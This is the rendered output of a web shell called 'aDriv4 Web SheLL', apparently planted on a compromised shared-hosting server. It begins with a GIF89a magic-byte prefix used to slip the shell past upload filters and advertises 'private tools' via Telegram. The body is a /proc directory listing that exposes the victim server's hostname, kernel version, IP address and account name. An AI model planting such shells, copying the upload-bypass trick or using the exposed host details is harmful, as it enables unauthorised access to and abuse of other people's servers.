GIF89;aGIF89;aGIF89;a aDriv4 website!

For more Private tool come to me!

https://t.me/aDriv4vz

aDriv4 Web SheLL
 Linux server64.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
 LiteSpeed
 198.54.114.248
Name Type Size Owner/Group Permission Last Modified Actions
. dir - root/root 0555 2024-05-19 08:54:27
.. dir - root/root 0755 2024-05-19 08:32:21
2545003 dir - smilmoju/smilmoju 0555 2025-07-13 07:43:13
4126971 dir - smilmoju/smilmoju 0555 2025-07-13 07:43:18
4141711 dir - smilmoju/smilmoju 0555 2025-07-13 07:44:20
4142532 dir - smilmoju/smilmoju 0555 2025-07-13 07:44:24
4143624 dir - smilmoju/smilmoju 0555 2025-07-13 07:44:29
4144138 dir - smilmoju/smilmoju 0555 2025-07-13 07:44:32
4144139 dir - smilmoju/smilmoju 0555 2025-07-13 07:44:32
4144140 dir - smilmoju/smilmoju 0555 2025-07-13 07:44:32
4144141 dir - smilmoju/smilmoju 0555 2025-07-13 07:44:32
4144142 dir - smilmoju/smilmoju 0555 2025-07-13 07:44:32
4144143 dir - smilmoju/smilmoju 0555 2025-07-13 07:44:32
4144144 dir - smilmoju/smilmoju 0555 2025-07-13 07:44:32
4144145 dir - smilmoju/smilmoju 0555 2025-07-13 07:44:32
acpi dir - root/root 0555 2024-05-19 12:56:04
bus dir - root/root 0555 2024-05-19 12:56:25
driver dir - root/root 0555 2025-07-13 07:44:32
fs dir - root/root 0555 2024-05-19 12:56:25
irq dir - root/root 0555 2024-05-19 12:56:09
kcare dir - root/root 0555 2025-07-13 07:44:32
lve dir - root/root 0555 2025-07-13 07:44:20
net link - smilmoju/smilmoju 0555 2025-07-13 07:44:35
scsi dir - root/root 0555 2024-05-19 12:56:25
self link - smilmoju/smilmoju 0555 2025-07-13 07:44:32
sys dir - root/root 0555 2024-05-19 08:55:57
sysvipc dir - root/root 0555 2025-07-13 07:44:32
thread-self link - smilmoju/smilmoju 0555 2025-07-13 07:44:35
tty dir - root/root 0555 2025-07-13 07:44:32
buddyinfo 0 B root/root 0444 2025-07-13 07:44:32
cgroups 0 B root/root 0444 2025-07-13 07:44:32
cmdline text/plain 0 B root/root 0444 2025-07-13 07:44:15
consoles 0 B root/root 0444 2025-07-13 07:44:32
cpuinfo text/plain 0 B root/root 0444 2025-07-13 07:44:21
crypto 0 B root/root 0444 2025-07-13 07:44:32
devices 0 B root/root 0444 2025-07-13 07:44:27
diskstats 0 B root/root 0444 2025-07-13 07:44:32
dma 0 B root/root 0444 2025-07-13 07:44:32
execdomains 0 B root/root 0444 2025-07-13 07:44:32
fb 0 B root/root 0444 2025-07-13 07:44:32
filesystems text/plain 0 B root/root 0444 2025-07-13 07:43:13
interrupts 0 B root/root 0444 2025-07-13 07:44:32
iomem 0 B root/root 0444 2025-07-13 07:44:32
ioports 0 B root/root 0444 2025-07-13 07:44:32
kallsyms 0 B root/root 0444 2024-05-19 12:56:25
kcore 128 TB root/root 0400 2024-05-19 12:56:04
key-users 0 B root/root 0444 2025-07-13 07:44:32
keys 0 B root/root 0444 2025-07-13 07:44:32
kmsg 0 B root/root 0400 2025-07-13 07:44:32
kpagecgroup 0 B root/root 0400 2025-07-13 07:44:32
kpagecount 0 B root/root 0400 2025-07-13 07:44:32
kpageflags 0 B root/root 0400 2025-07-13 07:44:32
loadavg text/plain 0 B root/root 0444 2025-07-13 07:44:28
locks 0 B root/root 0444 2025-07-13 07:44:32
mdstat 0 B root/root 0444 2025-07-13 07:44:32
meminfo text/plain 0 B root/root 0444 2025-07-13 07:43:15
misc 0 B root/root 0444 2025-07-13 07:44:32
modules 0 B root/root 0444 2025-07-13 07:44:32
mounts text/plain 0 B smilmoju/smilmoju 0444 2025-07-13 07:44:35
mtrr 0 B root/root 0644 2024-05-19 12:56:25
pagetypeinfo 0 B root/root 0400 2025-07-13 07:44:32
partitions 0 B root/root 0444 2025-07-13 07:44:32
sched_debug 0 B root/root 0444 2025-07-13 07:44:32
schedstat 0 B root/root 0444 2025-07-13 07:44:32
slabinfo 0 B root/root 0400 2025-07-13 07:44:32
softirqs 0 B root/root 0444 2025-07-13 07:44:32
stat text/plain 0 B root/root 0444 2025-07-13 07:43:13
swaps 0 B root/root 0444 2024-05-19 08:55:58
sysrq-trigger 0 B root/root 0200 2024-05-19 12:56:25
timer_list 0 B root/root 0400 2025-07-13 07:44:32
uptime text/plain 0 B root/root 0444 2025-07-13 07:43:15
version text/plain 0 B root/root 0444 2025-07-13 07:44:32
vmallocinfo 0 B root/root 0400 2025-07-13 07:44:32
vmstat 0 B root/root 0444 2025-07-13 07:44:32
zoneinfo 0 B root/root 0444 2025-07-13 07:44:32
© aDriv4